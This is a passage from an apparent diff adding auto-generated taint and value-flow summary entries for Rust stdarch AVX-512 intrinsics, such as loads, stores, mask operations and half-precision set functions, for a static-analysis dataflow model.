"crate::core_arch::x86::avx512f::_mm256_load_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_load_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_loadu_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_loadu_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_store_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_store_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_storeu_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_storeu_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_int2mask", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kand", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kandn", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kandn", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kmov", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_knot", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kor", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kunpackb", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kunpackb", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxnor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxnor", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_kxor", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_si512", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_loadu_si512", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_mask2int", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_store_si512", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_storeu_si512", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_load_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_loadu_epi64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_mask_load_sd", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_mask_load_ss", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_store_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi32", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm_storeu_epi64", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_store_mask16", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_set_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm256_setr_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m256h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[16]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[17]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[18]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[19]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[20]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[21]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[22]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[23]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[24]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[25]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[26]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[27]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[28]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[29]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[30]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[31]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_set_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[10]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[11]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[12]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[13]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[14]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[15]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[16]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[17]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[18]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[19]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[20]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[21]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[22]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[23]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[24]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[25]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[26]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[27]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[28]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[29]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[30]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[31]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", 